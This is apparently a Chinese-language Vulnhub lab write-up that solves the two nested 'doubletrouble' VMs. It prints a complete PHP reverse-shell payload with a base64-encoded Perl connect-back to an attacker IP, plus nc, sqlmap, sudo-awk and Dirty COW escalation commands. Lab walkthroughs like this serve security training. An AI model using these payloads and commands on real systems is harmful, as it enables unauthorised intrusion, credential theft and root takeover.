Vulnhub實戰-doubletrouble靶機
靶機下載地址:https://www.vulnhub.com/entry/doubletrouble-1,743/
下載頁面的ova格式檔案匯入vmware,或者vitrualbox開啟即可
靶機1滲透測試
1.靶機描述
描述
回到頂部
獲得標誌
難度:容易
關於 vm:從 virtualbox 測試並匯出。dhcp 和巢狀 vtx/amdv 啟用。您可以通過電子郵件與我聯絡以進行故障排除或問題。
這對 VirtualBox 比 VMware 更有效
這裡有個小tips:因為這個ova格式檔案是從vitrualbox虛擬機器裡面匯出來的,所以你如果在vmware裡面開啟就接收不到
ip地址,因為vitrualbox的網路卡名字是eth什麼的,後面接數字一般。然後vmware的網路卡名字一般是ens開頭,所以你在
vitrualbox匯出的虛擬機器在vmware開啟就不會自動獲取IP,你需要把網路卡改成一致然後重啟才能獲取IP。如果不會改網
卡,請參考下面連結:
https://blog.csdn.net/PeterWuu/article/details/105640638
這個教程第二步好像是:rw single init=/bin/bash
應該不是i,教程上面寫的是i,可能作者手誤吧!?
2.進行主機發現,埠掃描
首先我們把虛擬機器匯入vmware或者vitrualbox,這裡我是匯入的vmware,然後開啟它就好了
- 進行主機探測
nmap -sn 192.168.33.0/24
我這裡區域網的虛擬機器比較多,如果你的區域網虛擬機器也比較多分辨不出來的話,你可以通過mac地址去匹配對應的ip地址,mac地址在虛擬機器設定裡面可以看到
- 進行埠掃描
nmap -sS -p- -v -O 192.168.33.163
我們可以看到開啟了22和80埠,證明開啟了SSH和web服務,這裡前面文章有提到,你可以嘗試試試暴力破解SSH的使用者名稱密碼,用kali自帶的hydra工具,經過我上一次嘗試,發現機率微乎其微,除非用的是admin:123456這樣的弱口令。
3.web服務檢測
我們訪問ip地址192.168.33.163
得到如下頁面
我們還是首先用dirsearch目錄掃描一下
python3 dirsearch.py -u 'http://192.168.33.163' -i 200
我們可以看到果然掃出了一下常見目錄,挨個目錄檢視,都沒有發現什麼東西,最後發現/secret/目錄下面有一張圖片,百度發現可以用stegseek工具來暴力破解這張圖片。
下載參考連結:https://www.freebuf.com/sectool/261633.html
然後我們通過kali自帶的字典rockyou.txt,這個字典在kali的/usr/share/wordlist目錄下面,是一個壓縮包,需要先進行解壓
stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output
我們破解完這張圖片之後生成一個output檔案,發現裡面有一個使用者名稱跟密碼,不用猜肯定是剛剛那個登入頁面的使用者名稱密碼,我們來試一試吧!?
登陸進去之後發現一個檔案上傳,在個人設定裡面
qdPM漏洞利用
在一開始的登陸頁面我們可以看到有個qdPM 9.1,搜尋qdPM 9.1的漏洞,我們找到一個遠端程式碼執行漏洞。https://www.exploit-db.com/exploits/50175, 把指令碼下載下來。這個指令碼的回車有點問題,需要自己調一下。不過,這個漏洞也挺簡單的,其實就是使用者的myAccount介面的圖片那一欄是可以上傳檔案的,那我們就可以上傳一個php反彈shell的指令碼。
這裡我不知道啥情況,反正這個指令碼我搞不明白,python指令碼怎麼上傳php反彈shell呢,如果有大佬知道還望告知,這裡我找到一個php的反彈shell的指令碼,大家改一下ip,埠就可以直接上傳用了。
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
這裡比較搞笑的是,無論是跑指令碼還是自己手動上傳,網頁和程式碼的反饋都會讓你覺得自己是不是沒有上傳成功。會報錯,但是其實已經上傳成功了。
上傳之後指令碼在剛剛開始我們目錄掃描的那個/uploads/users目錄下
然後kali監聽10086埠,這個埠是你指令碼自己設定的埠。
nc -lnvp 10086
提權
接下來我們看一下當前使用者能夠使用的sudo許可權,這裡顯示當前使用者可以免密執行awk命令
搜尋一下awk提權,我們可以這樣:
sudo awk 'BEGIN {system("/bin/bash")}'
我們可以看到此時我們已經是root使用者了,看看root資料夾,發現了一個ova檔案,百度看了大佬部落格才知道這又是一個虛擬機器,好傢伙!?不愧是doubletrouble啊,果然跟題目還有點呼應,我們下載下來這個虛擬機器檔案在vmware中開啟。
我們在靶機中開啟http服務功能,然後kali通過wget下載下來,下載下來之後在vmware中開啟靶機。然後還是之前的步驟,掃描主機ip,埠,服務。
python3 -m http.server 9000
wget http://192.168.33.163:9000/doubletrouble.ova
如下是python -m的用法:
靶機2滲透測試
1.進行主機探測
nmap -sn 192.168.33.0/24
2.埠,服務發現
nmap -sS -p- -v -O 192.168.33.252
3.web服務測試
首先我們通過埠掃描發現開啟了80埠,說明存在http服務,我們訪問ip地址,看到如下一個登入框頁面:
這裡讓我們輸入使用者名稱密碼,然而我們並不知道賬戶名也不知道密碼。嘗試掃描網站目錄發現沒有額外的資訊,就只有這麼一個網站。
sqlmap注入獲取使用者名稱密碼
我們還想到有一個神器sqlmap,通過sqlmap看看這個登入框存不存在注入,抓包儲存檔案1.txt,在kali裡面開啟sqlmap掃描,命令如下:
sqlmap -r /root/1.txt --current-db //爆出資料庫名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns //爆欄位
sqlmap -r /root/1.txt -D doubletrouble -T users --dump //爆內容
我們看到這裡有兩對密碼,第一對似乎沒啥用,第二對能夠連上ssh
ssh clapton@192.168.33.252
提權
我們看了一下,這個使用者只是普通使用者,目錄下面有一個user.txt,裡面是一串字元,我們接下來就是想辦法拿到root許可權,看看root資料夾有什麼東東。我們先看看系統版本
uname -a
這裡有個髒牛漏洞,漏洞編號CVE-2016-5195漏洞型別核心競態條件漏洞漏洞危害本地提權影響範圍Linux kernel>2.6.22。該漏洞是Linux核心的記憶體子系統在處理寫時拷貝(Copy-on-Write)時存在條件競爭漏洞,導致可以破壞私有隻讀記憶體對映。黑客可以獲取低許可權的本地使用者後,利用此漏洞獲取其他只讀記憶體對映的寫許可權,進一步獲取root許可權。他有很多個poc,其中這個poc可以生成一個賬號名為firefart的root使用者,https://github.com/FireFart/dirtycow
我們把poc下載到靶機的/tmp目錄下,然後編譯,執行。
這裡因為靶機沒有git,wget,yum這些命令,所以我們可以把程式碼複製下來,在靶機通過touch dirty.c建立一個c檔案,然後貼上進去,編譯執行就行了。
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中間會讓我們輸入一個密碼,這個密碼就是firefart的密碼,然後我們登入就可以了